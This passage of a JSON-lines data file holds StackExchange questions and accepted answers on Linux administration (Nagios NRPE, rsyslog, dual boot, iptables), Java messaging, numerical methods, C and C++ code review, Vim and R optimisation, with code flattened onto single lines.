daemon runs on default port 5666 and when it receives the command from the Nagios server, it checks its config file for the corresponding command in /etc/nagios/nrpe.cfg:command[check_disk]=/usr/lib64/nagios/plugins/check_disk -e -m -w 20% -c 10%As you can see the /usr/lib64/nagios/plugins/check_disk is needed on the monitored host to check the available disk space. The Nagios server dosen't execute the check_disk plugin, instead it asks the monitored host to execute it and to reply with results."  } 
{  "id": "_softwareengineering.139488"  , "question": "I currently have a web application and I would like to add a messaging feature to it.In order to do that, I use JMS(actually OpenMQ, the implementation provided with Glassfish 3).The problem is that I do not know how to get the message notification from the background(from the listener) to the foreground.I am using JSF as a framework, if it does have an importance.Could you please tell me how should I notify the user about a received message(like a chat).Any suggestions are welcomed."  , "title": "How to get JMS to front end"  , "tags": "java;message queue;messaging"  , "accepted_answer": "You may be interested in Comet, a programming model that allows the server to push data to a client. There are implementations for JSF, look at this blog post about Richfaces integration for an example.HTML 5 specifies WebSockets that can be used for server push, but not all browsers support it.The simple alternative is to simply poll the server at regular intervals, that might create a lot of unnecessary messages though."  } 
{  "id": "_webapps.28158"  , "question": "Why my Facebook profile says I have 155 friends but I'm only seeing 150 when I ran thishttp://www.peacegig.com/facebook-apps/backup-friends/index.php?zip-request=trueI saw unknown person list as Facebook friend I can't even unfriend nor block.  What's going on with Facebook?"  , "title": "Why my Facebook profile says I have 155 friends but I'm only seeing 150? I saw fake a friend but now can't see"  , "tags": "facebook"  } 
{  "id": "_webapps.4279"  , "question": "Traditionally, you backup your computer's data to the web, but anyone who uses a lot of webapps puts a lot of data out there. Is there a good tool to backup all my gmail mail, facebook pictures and status updates, google docs, etc. to my computer? Preferably automatically."  , "title": "Is there a good tool to backup the data from all my webapp accounts to my computer?"  , "tags": "webapp rec;backup;download;data liberation"  } 
{  "id": "_unix.271872"  , "question": "Trying to install Arch Linux on a partition of my hard drive, my only option is to connect to Internet with WiFi. Ubuntu (on another partition) shows with lspci that WiFi chip-set is Broadcom BCM4311 and lspci -k shows Ubuntu is using ssb module and b43-pci-bridge driver which works fine.Arch Linux bootable USB with lspci -k shows that it is using the same module and driver but ifconfig shows no wireless interface. Here it is mentioned that BCM4311 works with b43-firmware-classic from AUR. Now, how can I install b43-firmware-classic to use my wireless chip-set, before even installing Arch Linux itself. I ran git clone on Ubuntu and downloaded Arch Linux b43-firmware-classic from AUR on my Ubuntu root partition. However I'm not sure where to go from there."  , "title": "Install Arch Linux with wifi but wifi chipset not detected"  , "tags": "arch linux;broadcom"  } 
{  "id": "_scicomp.23654"  , "question": "The lifting operator $\\mathbf{r}(\\mathbf{v_h})$ for the '2nd version' of Bassi-Rebay scheme for elliptic problems in $d$ dimensions is defined as$$\\int_{\\Omega_h} \\mathbf{w}_h \\cdot \\mathbf{r}(\\mathbf{v}_h)\\,\\mathrm{d}\\mathbf{x} = -\\int_{E} \\{\\mathbf{w}_h\\}\\cdot \\mathbf{v}_h \\,\\mathrm{d}S, $$ where$$\\mathbf{v}_h \\in \\mathbf{V}_h,\\:\\mathbf{w}_h \\in \\mathbf{V}_h\\\\V_h = \\{v_h \\in L^2(\\Omega_h) : \\bigl. v_h\\bigr|_K\\in \\mathbb{P}_k(K) \\:\\forall K\\in \\mathcal{T}_h\\}\\\\\\mathbf{V}_h = \\{v_h \\in \\bigl(L^2(\\Omega_h)\\bigr)^d : \\bigl. v_h\\bigr|_K\\in \\bigl(\\mathbb{P}_k(K)\\bigr)^d \\:\\forall K\\in \\mathcal{T}_h\\},$$and $E$ is an edge of element belonging to triangulation $\\mathcal{T}_h$.The weak form for Laplace equation discretized with BR2 then contains terms such as$$\\int_{\\Omega_h} \\bigl(\\nabla v_h\\bigr) \\cdot \\mathbf{r}\\bigl([\\![u_h]\\!]\\bigr)\\,\\mathrm{d}\\mathbf{x},\\quad u_h, v_h \\in V_h,$$for which the definition of the lifting operator can be used to convert the integral over $\\Omega_h$ into surface integral over element edge.There are also face terms such as$$\\int_{E} [\\![v_h]\\!] \\cdot \\mathbf{r}\\bigl([\\![u_h]\\!]\\bigr)\\,\\mathrm{d}S.$$How should these be evaluated? The only approach I can think of is to use the definition of the lifting operator with all test functions $\\mathbf{w}_h$ belonging to one element in order to assemble a local linear system where the expansion coefficients of $\\mathbf{r}(\\mathbf{v}_h)$ are unknowns (i.e. I would assume that $\\mathbf{r}(\\mathbf{v}_h)$ can be represented as a linear combination of basis functions). If I do that, then I can work with the lifting operator restricted to element traces. This seems to be a bit strange to me though and I'm afraid I completely missed the point.Remark - notation:Let $E$ be an internal edge shared by two elements $K^{+}$ and $K^{-}$ and let $\\mathbf{n}^{+}$ and $\\mathbf{n}^{-}$ be outer normals of $K^{+}$ and $K^{-}$ on this edge. The jump $[\\![\\cdot]\\!]$ and average $\\{\\cdot\\}$ operators are defined as follows:$[\\![v_h]\\!] = v_h^{+}\\mathbf{n}^{+} + v_h^{-}\\mathbf{n}^{-}$ for $v_h \\in V_h$$[\\![\\mathbf{v}_h]\\!] = \\mathbf{v}_h^{+} \\cdot \\mathbf{n}^{+} + \\mathbf{v}_h^{-} \\cdot \\mathbf{n}^{-}$ for $\\mathbf{v}_h \\in \\mathbf{V}_h$$\\{v_h\\} = \\frac{1}{2}(v_h^{+} + v_h^{-})$, $v_h \\in V_h$$\\{\\mathbf{v}_h\\} = \\frac{1}{2}(\\mathbf{v}_h^{+} + \\mathbf{v}_h^{-})$, $\\mathbf{v}_h \\in \\mathbf{V}_h$The superscript ${}^{\\pm}$ refers to trace quantities restricted to edge (face in 3D) from $K^{+}$ and $K^{-}$, respectively."  , "title": "Discretization of lifting operator in BR2 scheme"  , "tags": "finite element;discontinuous galerkin"  , "accepted_answer": "That seems to be the right way to solve for the lifting operators, see for example Appendix A in Discontinuous Galerkin methods for the Navier-Stokes equationsusing solenoidal approximations by Montlaur et al (there is also an authors copy if you search for the title), it is for the Compact DG Method but as far as I'm aware all of the lifting operators are equivalent up to some small change to modify the behavior slightly (e.g. CDG is a compact modification of the Local Discontinuous Galerkin method) "  } 
{  "id": "_unix.251021"  , "question": "I tried to install fedora 23 on dual-boot with an usb stick today, I followed this video tutorial : https://www.youtube.com/watch?v=gOP_FtP1e9UI'm in UEFI mode, so I installed fedora and everything worked perfectly until I had to reboot, then I got this error:Reboot and Select proper Boot device or insert Boot Media in selected Boot Device and press a key. I searched a lot for this error and it seems that a lot of people have problems with it. So I tried to resolve it by restarting my computer, going into the BIOS settings and changing the order of my boot device so my hard disk was in first place and my CD/DVD was in second place, I saved and restarted, it didn't work.I also tried to put the CD/DVD in first place and it didn't work either, my BIOS version is 2.15.1227. I can only put my usb stick back and load fedora in live mode, so I tested the command to see in wich mode I am and I am still in UEFI. Here is my boot order : I disabled the secure boot and the hibernation mode is on.Even after changing the boot order, I still get the error, I don't know what to do, any help would be appreciated,regards.EDIT : I finally solved it by reInstalling Fedora in the right mode (UEFI) thanks to lakedevu"  , "title": "Booting problem after trying to dual boot fedora 23 and windows 8.1 [SOLVED]"  , "tags": "fedora;boot;windows;bios"  , "accepted_answer": "I assume Fedora OS has been successfully installed according to your context of question, but it's unable to boot properly. I had this issue a while ago to dual boot between Windows 10 and Mint Linux too. Try to set your HDD in highest priority in boot sequence as Fedora has been partitioned on your HDD - it has to look into HDD first to find the boot loader. Also, try to look for 'secure boot' option on the BIOS settings and ensure to have it 'disabled' because UEFI mode mandates secure boot enabled in Windows 8 or later versions. additional option to try:Above is my BIOS settings. I have 'Quiet Boot' set to Enabled. Last option could be fixing your boot loader file by using 'boot repair', not sure if it's compatible with Fedora OS as I've only seen articles regarding Ubuntu based OS. I really hope you have this issue resolved, but if not by above methods, you can search google about dual-boot in UEFI mode and ensure to have everything set up correctly. "  } 
{  "id": "_unix.144480"  , "question": "I believe I have installed multiple packages that use the same shell command to run. I know one of them, but I only vaguely recall installing the other and thus cannot uninstall it. I believe they're causing issues with each other, so I need to uninstall the one that I can't remember. Is there a simple way to find which package is invoked using a certain shell command? This is on RHEL 6.5."  , "title": "Find package that uses a specific shell command"  , "tags": "rhel;package management"  , "accepted_answer": "Try:yum whatprovides <command>From man yum:provides or whatprovides              Is used to find out which package provides some feature or file.              Just use a specific name or a file-glob-syntax wildcards to list              the packages available or installed that provide that feature or              file.Example:yum whatprovides /bin/lscoreutils-5.97-34.el5_8.1.x86_64 : The GNU core utilities: a set of tools                                 : commonly used in shell scriptsRepo        : baseMatched from:Filename    : /bin/lscoreutils-5.97-34.el5_8.1.x86_64 : The GNU core utilities: a set of tools                                 : commonly used in shell scriptsRepo        : installedMatched from:Other       : Provides-match: /bin/ls"  } 
{  "id": "_unix.132371"  , "question": "I have a jar file which I need to run at startup in all distros of Linux. My previous question here, gave me an idea a rough idea on X-servers. Since I wasn't able to perform startup, I moved on to the idea of adding a .desktop file to /etc/xdg/autostart. This works for ubuntu and I am currently testing it in Linux Mint both cinnamon and mate versions. I did a small research for other distros but they don't seem to have the /etc/xdg/autostart instead they have /xdg-autostart but I need to run my jar file in all distros of Linux. I tried crontab but @reboot didn't work in ubuntu 14.04 for me. Another problem is I need to remove the file I am placing to startup when I uninstall the jar. If I edit rc.local, I won't be able to revert the edit. Is there a common way in which I can do startup in Linux"  , "title": "Run jar on startup in all *nix based systems"  , "tags": "linux;shell;shell script;java;startup"  , "accepted_answer": "There is no universal method for creating a system service on all GNU/Linux distros, since they use a variety of init systems.  Once upon a time they all used more or less the same SysV style init (excepting some which used a more BSD style system), which allowed for the writing of generic init scripts that would require little modification from distro to distro.Currently, SysV is still used by a number of distros, such as Debian and RHEL / CentOS.  However, the newer init systems -- systemd (Fedora, Arch, et. al.) and upstart (Ubuntu)1 do include mechanisms for backward support of SysV style init scrips, so if you are looking for the method most easily adopted for use on the most systems, that is still it.Keep in mind that linux is not an operating system in the sense that Windows 8 or OSX are operating systems.  Linux is an OS kernel used on a wide variety of platforms (e.g., Android); colloquially GNU/Linux refers to the collection of OS distributions discussed above, but these are not all the same.  There is no serious intention or desire to unify these, just as there is no serious intention or desire to unify Windows and OSX so that, e.g., someone could ask How can I run my jar file at start up on both OSX and Windows? -- you are out of luck, you will need to package it separately for each of them.  That is, in fact, how software in the linux world generally is distributed; there are separate packages for each and every distro.1 BUT Ubuntu (and Debian) are moving to systemd, meaning upstart will likely disappear, and most of the major distros will have a common init system."  } 
{  "id": "_cstheory.9625"  , "question": "I was considering the following game on an undirected unweighted graph $G=(V,E)$ (not necessarily simple). Two players, Police and Runaway, take moves in turn. Police can cut an arbitrary subset of edges in a single move and Runaway can move from a current vertex to an adjacent vertex (cutting an edge means that corresponding vertices became not adjacent). Runaway starts at vertex $s$ and wants to make it into vertex $t \\neq s$; Police wants to interfere her. Police move first. Let the game cost for Police be equal to the number of cutted edges. An $s-t$ minimal cut size is an obvious upper bound for this value, but sometimes Police can do better. For example, consider a $K_{n,2}$ graph ($n > 2$) where $s$ and $t$ both belong to the smaller (second) part. Minimal cut between $s$ and $t$ equals $n$, though cutting only 2 edges is enough (Police cuts empty set on her first move hence forcing Runaway to move away from $s$, then she cuts 2 edges adjacent to Runaway's location). Efficient computation of that cost seems to be an interesting problem.I came up with a clumsy (still polynomial-time) algorithm which basically does loads of min-cut computations on $G$ subgraphs for this (however I'm not completely sure in the correctness). I wonder if it is a known problem or not, maybe there is some elegant solution? Please provide any related info."  , "title": "Graph connectivity related game"  , "tags": "ds.algorithms;graph theory;graph algorithms;gt.game theory;max flow min cut"  } 
{  "id": "_unix.266614"  , "question": "This is a question I have from the first day I've heard about open source codes. We see new versions of Linux kernel once in a while, means that people are still working on it. Who are these developers and who pays them and why someone pays developer to develop something free? "  , "title": "If Linux is open source, how its developers get paid?"  , "tags": "linux;open source"  , "accepted_answer": "It depends on what code you're talking about. The difference between most proprietary software and FOSS is that FOSS is developed by stakeholders rather than a single proprietor. Hardware companies want to sell more hardware so they contribute code to help make Linux work on their products to increase the value for the consumer. Administrative stuff can be developed out in the community (like the initial versions of OpenStack were, and how cgroups came out of google) or it can be created by companies that sell consultation, training, and support (such as with Docker, most databases, most commercial distros, etc). There are also the odd random contributions by government agencies, academic researchers, and what have you. Along with just random people who know how to code and want to be able to say they contributed something to a successful project.Appliance vendors seem like they would want to contribute upstream but I don't know if that's actually common practice. It would be interesting to see what companies like F5 and Citrix would develop.The nonprofit behind the Linux kernel even publishes a detailed report of who contributes and how much."  } 
{  "id": "_unix.115110"  , "question": "I am trying to run an incremental search using lynx.Imagine a page, for example, an index_of page which contains several folders which also contain other subfolders and files. I want to run lynx in a way that I can enter automatically in each folder/page and search for a string, so it returns me the link which contains the string found. For example, if I am looking for a specific datasheet in http://datasheets.chipdb.org/ so I would try something like find . -name mydatasheet.pdf |lynx -dump http://datasheets.chipdb.orgbut that I could run in all subfolders recursively. Maybe some grep or whatever.How could it be done?"  , "title": "Lynx incremental search"  , "tags": "grep;find;search;lynx"  , "accepted_answer": "Maybe I don't understand your question but if I were trying to find a link to a pdf file I would write a python script.  Something like:#!/usr/bin/env pythonimport urllib2import refrom bs4 import BeautifulSoupdef find_links ( url ):        try:                soup = BeautifulSoup(urllib2.urlopen( url ).read())        except:                return        links = soup.findAll( a )        for link in links:                pdfurl = link.get('href')                m = re.search( ^\\?, pdfurl)                if m:                        continue                m = re.search( .pdf$, pdfurl)                if m:                        print Found a pdf in %s/%s % (url, pdfurl)                else:                        find_links( %s/%s % ( url, pdfurl) )find_links( http://datasheets.chipdb.org )Or a Perl script that uses WWW::Mechanize."  } 
{  "id": "_codereview.17923"  , "question": "Is this the best way to check if two floating point numbers are equal, or close to being equal?template <class T>bool IsEqual(T rhs, T lhs){    T diff = std::abs(lhs - rhs);    T epsilon = std::numeric_limits<T>::epsilon( ) * std::max(std::abs(rhs), std::abs(lhs));    return diff <= epsilon ;}"  , "title": "Checking if two floating point numbers are equal"  , "tags": "c++;floating point"  , "accepted_answer": "No, not really.  You want a third parameter that gives an acceptable difference -- this can be number of decimals, percent of value, or a fixed value, but it needs to be coming from outside to really be useful.A function that does it with a constant diff, might be useful in some limited circumstances, but not generally."  } 
{  "id": "_unix.267544"  , "question": "I am running a Centos7 server with rsyslog for logging. The service is on (sudo systemctl is-enabled rsyslog) outputs enabled. I have also configured the service to start at boot-time. However, the /var/log/secure file is still empty despite deliberate attempts to fail SSH login. The other log files (mailer, spool, cron except messages) are all also empty.Where am I going wrong in this? Any help is welcome.Update:Output of ls -ld /var/log:drwxr-xr-x. 11 root root 4096 Mar  4 11:06 /var/logand output of ls -l /var/log:drwxr-xr-x. 2 root   root        6 Oct  7 17:53 anacondadrwxr-x---. 2 root   root       94 Mar  4 13:39 audit-rw-r--r--. 1 root   root      549 Nov 30 16:33 boot.log-rw-------. 1 root   utmp        0 Mar  1 03:13 btmp-rw-------. 1 root   utmp     1920 Feb 11 15:25 btmp-20160301drwxr-xr-x. 2 chrony chrony      6 Nov 24 03:05 chrony-rw-r--r--. 1 root   root    14056 Nov 30 16:33 cloud-init.log-rw-r--r--. 1 root   root    34623 Mar  4 10:19 cloud-init-output.log-rw-r--r--. 1 root   root        0 Feb 28 03:40 cron-rw-r--r--. 1 root   root        0 Feb  1 03:09 cron-20160207-rw-r--r--. 1 root   root        0 Feb  7 03:09 cron-20160214-rw-r--r--. 1 root   root     8948 Feb 18 21:01 cron-20160223-rw-r--r--. 1 root   root        0 Feb 23 12:41 cron-20160228-rw-r--r--. 1 root   root    35746 Mar  4 10:19 dmesg-rw-r--r--. 1 root   root    35859 Mar  3 11:48 dmesg.old-rw-------. 1 root   root     1948 Dec 29 12:08 grubbydrwx------. 2 root   root     4096 Mar  1 20:14 httpd-rw-r--r--. 1 root   root   292876 Mar  4 15:59 lastlog-rw-------. 1 root   root        0 Feb 28 03:40 maillog-rw-------. 1 root   root        0 Feb  1 03:09 maillog-20160207-rw-------. 1 root   root        0 Feb  7 03:09 maillog-20160214-rw-------. 1 root   root     3583 Feb 18 19:07 maillog-20160223-rw-------. 1 root   root        0 Feb 23 12:41 maillog-20160228-rw-------. 1 root   root   120630 Mar  4 10:49 messages-rw-------. 1 root   root        0 Feb  1 03:09 messages-20160207-rw-------. 1 root   root        0 Feb  7 03:09 messages-20160214-rw-------. 1 root   root    42189 Feb 18 21:03 messages-20160223-rw-------. 1 root   root        0 Feb 23 12:41 messages-20160228drwxr-xr-x. 2 ntp    ntp         6 Jan 25 19:57 ntpstatsdrwx------. 2 root   root        6 Jun 10  2014 pppdrwxrwxrwx. 3 root   root       25 Nov 30 16:55 rsyslog_custom-rw-------. 1 root   root        0 Feb 28 03:40 secure-rw-------. 1 root   root        0 Feb  1 03:09 secure-20160207-rw-------. 1 root   root        0 Feb  7 03:09 secure-20160214-rw-------. 1 root   root    17991 Feb 18 20:20 secure-20160223-rw-------. 1 root   root        0 Feb 23 12:41 secure-20160228-rw-------. 1 root   root        0 Feb 28 03:40 spooler-rw-------. 1 root   root        0 Feb  1 03:09 spooler-20160207-rw-------. 1 root   root        0 Feb  7 03:09 spooler-20160214-rw-------. 1 root   root        0 Feb 14 03:34 spooler-20160223-rw-------. 1 root   root        0 Feb 23 12:41 spooler-20160228-rw-------. 1 root   root        0 Oct  7 17:43 tallylogdrwxr-xr-x. 2 root   root       22 Dec  9 18:55 tuned-rw-rw-r--. 1 root   utmp   241152 Mar  4 15:59 wtmp-rw-------. 1 root   root     1926 Mar  4 13:20 yum.log-rw-------. 1 root   root    13145 Dec 29 16:02 yum.log-20160101"  , "title": "/var/log/secure and other log files are empty even after restarting rsyslog.service"  , "tags": "logs;rsyslog"  } 
{  "id": "_unix.109918"  , "question": "I had followed a tutorial to install Linux Mint 16 Cinnamon and it works perfectly fine, currently using it to post this question. But when grub loads the only 3 options I am given, are Linux Mint, Linux Mint (Compatibility Mode) and system startup. My computer has come pre-installed with windows 8 on it, both the recovery and windows partition are still visible on the disk usage analyzer. When I installed Linux I had legacy mode turned on but if I turn it off, Linux still works fine.I've tried the sudo update-grub command and it reads as followsGenerating grub.cfg ...Found linux image: /boot/vmlinuz-3.11.0-12-genericFound initrd image: /boot/initrd.img-3.11.0-12-generic  No volume groups foundAdding boot menu entry for EFI firmware configurationdoneI would still like to dual boot Linux alongside Windows, what do I need to do to achieve this?"  , "title": "Windows 8.1 not appearing on grub after Linux Mint 16"  , "tags": "linux;boot;windows"  } 
{  "id": "_codereview.158921"  , "question": "I have two local maven projects A, and B. B is dependent on A. A|- resources/log4j2.xmlB|- resources/META-INF/log4j.xml|- Maven Dependencies    |- A    |- And other dependencies...Both A, and B exports the log4j xmls to jar. However, as I only need the B/resources/META-INF/log4j.xml to my final B.jar, I tried to delete the log4j2.xml from A while packing B.jar. To do the same, I used truezip:remove in B/pom.xml as follows:<build>...<plugins>    <plugin>        <groupId>org.codehaus.mojo</groupId>        <artifactId>truezip-maven-plugin</artifactId>        <version>1.1</version>        <executions>            <execution>                <id>remove-a-file-in-sub-archive</id>                <goals>                    <goal>remove</goal>                </goals>                <phase>verify</phase>                <configuration>                    <fileset>                        <directory>B-jar-with-dependencies.jar</directory>                        <includes>                            <include>log4j2.xml</include>                        </includes>                    </fileset>                </configuration>            </execution>        </executions>    </plugin></plugins>...</build>Note that this is executed verify state (post packaging) of lifecycle.Though it is working as expected, I am wondering whether there is any side-effect of this or not. Any light in this regard would be great."  , "title": "Excluding resources from maven dependencies while exporting project to jar"  , "tags": "java;maven"  } 
{  "id": "_datascience.22138"  , "question": "I have graph data which has 250 million nodes and over 500 million edges. My files are roughly 230GB is size, this includes the node and edge files.I am having major difficulties visualising the data. By visualisation I mean, generating aesthetic plots. The data has attributes such as node number, name, total money going in, total money going out and edges. I'd like to use such attributes to help generate colourful plots that signify groups and communities. I have already tried NetworkX, Pandas, Neo4J, Gephi and R-Studio. All of which crash and are unable to do anything on my data.Can anyone please recommend alternatives to create such visualisations?"  , "title": "How to visualise very large graphs with 250M nodes and 500M+ edges?"  , "tags": "dataset;bigdata;visualization;data"  } 
{  "id": "_webmaster.43223"  , "question": "I was going through Webmaster Tools and I noticed that under 'links to your site' there's only 40 links showing. Down from 700+ yesterday. I don't think it was anything to do with the quality of the sites linking in because some of them were quite high ranking blogs so I don't think it's Penguin related. This has happened to me once before on a previous site and after about a month or so they came back, so it's not something I'm super worried about, but it's really odd. Has anyone else experienced this? Or know why it happens?Update - All links seem to have returned 20/2/13"  , "title": "90% of 'links to your site' disappeared in Google Webmaster Tools"  , "tags": "google;google search console"  , "accepted_answer": "Its not just you.  Here is a thread about the problem on WebmasterWorld: http://www.webmasterworld.com/google/4542427.htmHere is a thread about it in the Google webmaster help: http://productforums.google.com/d/topic/webmasters/HB8ZdK_DDyw/discussionThis issue has been forwarded to Google engineers who are apparently looking into a problem with the webmaster tools.Update: Search Engine Roundtable is reporting that Google has fixed this bug as of February 12, 2013.  http://www.seroundtable.com/google-webmaster-tools-links-back-16349.htmlhttp://www.seroundtable.com/google-webmaster-tools-links-back-16349.html"  } 
{  "id": "_codereview.37684"  , "question": "I want to extract some values in i-commas() from lines like this: <P k=9,0,1 vt=191 v=100.99936 z= />Example:getCharVal ( cp, char k=\\, 9)where cp is a pointer the line above should return 9,0,1The function:#define  ENDTAG   />#define ICOMMAS   ''char * getCharVal ( char *cp, char *att, size_t s){  char * val;  char * endTagP;  if (cp == NULL)return NULL;  cp = strstr(cp, att)+strlen(att);  if (cp == NULL) return NULL;  char * endP = strchr(cp, ICOMMAS);  if (endP == NULL) return NULL;  endTagP = strstr(cp, ENDTAG);  if (endTagP == NULL) return NULL;  if (endP > endTagP) return NULL;  size_t valsize    = endP - cp ;  if (valsize > s) return NULL;  val = malloc(valsize + 1);  memcpy (val, cp, valsize);  val[valsize]='\\0';  cp = endTagP;  return val;}This code is ugly.  Could anyone give me hints on how to write it better? "  , "title": "Small function for getting character value"  , "tags": "c;strings;parsing;xml"  , "accepted_answer": "I've modified your code to make it more normal C99, including adding constto parameters that your function does not change, improving (to my taste) thevariable names, moving variable definition to the point of their first use andusing strndup to duplicate the tag (not universally available but easilywritten).char *getCharVal(const char *ch, const char *att, size_t size){    if (!ch) {        return NULL;    }    ch = strstr(ch, att);    if (!ch) {        return NULL;    }    ch += strlen(att);    char *end = strchr(ch, '');    if (!end) {        return NULL;    }    char *endTag = strstr(ch, ENDTAG);    if (!endTag) {        return NULL;    }    if (end > endTag) {        return NULL;    }    size_t valSize = end - ch;    if (valSize > size) {        return NULL;    }    return strndup(ch, valSize);}Note also that yourcp = strstr(cp, att)+strlen(att);if (cp == NULL) return NULL;will never fail because even if att is not found you have added its lengthto the NULL pointer that strstr would return.A beneficial change would be to omit the check for size (although perhaps yourapplication is such that this check is more necessary than it appears).Finally, I think your interface is ugly.  It would be much cleaner to pass thethe pure attribute k.  However, I can see that passing k=\\ is anoptimisation that makes the function much simpler to implement.  "  } 
{  "id": "_vi.2764"  , "question": "Recently there was an add-on to NeoVim which allows opening terminal in a vim buffer. This has appealing possibilities to send text from one vim window to another replicating, for example, a REPL like behavior.In the past I was using tmux for this kind of configuration. However now I would like to try it out using only NeoVim.My question is - how can I send a block of text from one vim split to another? Or maybe rather - how can I automate the sequence of selecting text, yanking it, changing splits and then pasting?"  , "title": "Send text from one split window to another"  , "tags": "split;vim windows;neovim"  , "accepted_answer": "Basically when you have text selected, you want to remap a key sequence to copy, switch to terminal, paste, and then possibly switch windows back and reselect the text. If you have two splits open, this would look something like:vnoremap <F5> y<c-w>wp<c-w>pgvexplanation:xnoremap <F5>                   Remap F5 in visual/select mode (could be any key combo)              y                 copy selected text               <c-w>w           switch to next window                     p          paste (for terminals this sends the text to the terminal)                      <c-w>p    switch to previous window                            gv  reselectIf there are more than two splits and the terminal is not the one after where your text is selected, you'd want to either use a different mapping that works for your layout (i.e. <c-w>t moves to the top left window) or you'd want to write a function that loops through all windows and finds the right one."  } 
{  "id": "_datascience.22101"  , "question": "As I am new to TensorFlow, I would like to do image recognition in TensorFlow using Python. For this Image Recognition I would like to train my own image dataset and test that dataset. Please answer me how to train a dataset and how to select the dataset.."  , "title": "How to train an image dataset in TensorFlow?"  , "tags": "python;dataset;tensorflow;training;image recognition"  } 
{  "id": "_webmaster.48497"  , "question": "I am getting my hands wet with ASP and I have been following the tutorials. I deployed the site and in Azure and it worked great. Today I started actually designing the site. And when I published, it looks as if it doesn't read any of the files I just updated, added, and modified. It works on my localhost, but not in the Azure. I thought when you publish, everything goes up, including the new files.I don't have enough reputation to add a picture so, you'll forgive me.SO, basically, how do I get my entire site uploaded?In case anyone does stop by, I was able to pull this out just recently:CA0058 Error Running Code Analysis CA0058 : The referenced assembly  'DotNetOpenAuth.AspNet, Version=4.0.0.0, Culture=neutral,  PublicKeyToken=2780ccd10d57b246' could not be found. This assembly is  required for analysis and was referenced by:  C:\\Users\\lotusms\\Desktop\\LOTUS  MARKETING\\ASP.NET\\WebsiteManager\\WebsiteManager\\bin\\WebsiteManager.dll,  C:\\Users\\lotusms\\Desktop\\LOTUS  MARKETING\\ASP.NET\\WebsiteManager\\packages\\Microsoft.AspNet.WebPages.OAuth.2.0.20710.0\\lib\\net40\\Microsoft.Web.WebPages.OAuth.dll.  [Errors and Warnings] (Global)CA0001 Error Running Code Analysis CA0001 : The following error was  encountered while reading module 'Microsoft.Web.WebPages.OAuth':  Assembly reference cannot be resolved: DotNetOpenAuth.AspNet,  Version=4.0.0.0, Culture=neutral, PublicKeyToken=2780ccd10d57b246.  [Errors and Warnings] (Global)Could this have something to do with the problem?"  , "title": "ASP.NET website deployment"  , "tags": "asp.net;azure;publishing"  } 
{  "id": "_codereview.100795"  , "question": "Let \\$D\\$ be a \\$N\\times N\\$ positive definite matrix. I am minimizing a quadratic funtion $$ f(w)=w^T D\\ w$$ with respect to the weight vector \\$ w=(w_1, w_2, ..., w_N)\\$, subject to the following constraints:\\$\\displaystyle\\sum_n w_n =1\\$\\$w_n\\geq 0\\$\\$w_n \\geq \\theta \\$ or \\$ w_n = 0 \\quad \\forall n\\$, for some threshold \\$\\theta>0\\$.The last constraint means that if the optimizer finds a non-zero solution, then it should be at leastas large as a threshold \\$\\theta\\$. I am using solve.QP() from quadprog for the optimization and so I have to inputthe constraints in the form \\$A^T w \\geq b\\$. The last constraint is problematic, since I don't see any way of writting it in that form.What I am doing to deal with this, so far, is this:Ignore the last constraint and find a solution that satisfies the rest of the constraintsSet weights under the threshold \\$ \\theta\\$ to zero, manually, afterwards and then divide the removed weight ammountequally to the rest of the weights that satisfy the last constraint.I expect that this gives an approximation for what the optimizer would have found as a solution, if I could include the last constraint from the begining.  Using this solution the value for the function \\$ f\\$ is close to the initial solution, but of course differs, depending on \\$\\theta\\$. I was wondering if there is some way to implement this, by including the last constraint in the optimization somehow.Toy example:library(quadprog)library(corpcor) #Sample matrix to work with:set.seed(0)Dmat <- cov( volcano+15*rnorm(87*61) ); Dmatis.positive.definite(Dmat)N  <- ncol(Dmat) dvec <- rep(0, N)#Constraints:##sum equals 1:a0 <- rep(1, N) b0 <- 1##everything positive:a1 <- diag(1, N)b1 <- rep(0, N)#combine the constraints:Amat <- cbind(a0,a1)bvec <- append(b0,b1)#Solve:sol <- solve.QP(Dmat = Dmat, dvec, Amat, bvec, meq = 1)w   <- zapsmall(sol$solution) ; w#Manually set weights under a certain threshold to zerotheta <- .01w[w <  theta] <- 0 ; w #scale to sum up to 1:w <- w/sum(w) #Compare function values:t(sol$solution) %*% Dmat %*% sol$solution/2t(w)%*%Dmat%*%w/2"  , "title": "Optimization with a lower value constraint for positive solutions"  , "tags": "performance;r"  } 
{  "id": "_softwareengineering.211295"  , "question": "I haven't found much on this, but what I did find doesn't explain it well enough (at least for me).  What makes the application I make portable?Or what defines a portable application?Is there a specific difference that makes an app portable or not?  I always thought if I just made an executable file and some images I could just copy that folder and take it to another computer on a flash drive.  But, if you could what is the purpose of having portable apps?  I know I have asked a range of questions, but I suspect an answer that addresses one of the questions will cover them all."  , "title": "Apps being portable"  , "tags": "applications;portability"  , "accepted_answer": "The Wikipedia definition is clear enough.A portable app is one that can run in a compatible computer without having to install it. This app can be run from a external storage and writes its data and configuration files to this device, as opossed to in the machine hardrive.The concept of portable app is distinct from software portability which is the ability to compile software into different platform excutables or be run in different platform virtual machines."  } 
{  "id": "_webapps.102063"  , "question": "Often when I'm googling something, the description in the results page lists something extremely relevant to my search, but of course is just a cut off summary. When I use the link to go to that page, that information often doesn't exist there anymore. Sometimes I can visit the cached version and it is there, but often it's a result that says basically the search terms were only on pages that pointed to this page.Is there any way to get Google to give me the actual page it got it's description from? "  , "title": "Is it possible to see where Google search results get their descriptions from?"  , "tags": "google search"  } 
{  "id": "_unix.10147"  , "question": "I just got a new dedicated server with CentOS and I'm trying to debug some network problems. In doing so, I found over one thousand iptables entries. Is this the default on a CentOS system? Is there some firewall package that might be guilty of doing that?"  , "title": "1000 iptables entries on CentOS?"  , "tags": "centos;iptables;firewall"  , "accepted_answer": "Is this the default on a CentOS  system?No. The default one is below.Is there some firewall package that  might be guilty of doing that?Probably. You don't say what the entries are but if they're banning CIDR blocks I'd guess your server has a firewall like APF or CSF that can subscribe to blacklist like Spamhaus' DROP and that is how your rules are being generated. Alternatively, there might be some cron job which does it all. If you do a grep -rl iptables /etc/* that will tell you all the files that mention iptables and hopefully track down what is generating your entries.Here's the default iptables from /etc/sysconfig/iptables:# Firewall configuration written by system-config-securitylevel# Manual customization of this file is not recommended.*filter:INPUT ACCEPT [0:0]:FORWARD ACCEPT [0:0]:OUTPUT ACCEPT [0:0]:RH-Firewall-1-INPUT - [0:0]-A INPUT -j RH-Firewall-1-INPUT-A FORWARD -j RH-Firewall-1-INPUT-A RH-Firewall-1-INPUT -i lo -j ACCEPT-A RH-Firewall-1-INPUT -p icmp --icmp-type any -j ACCEPT-A RH-Firewall-1-INPUT -p 50 -j ACCEPT-A RH-Firewall-1-INPUT -p 51 -j 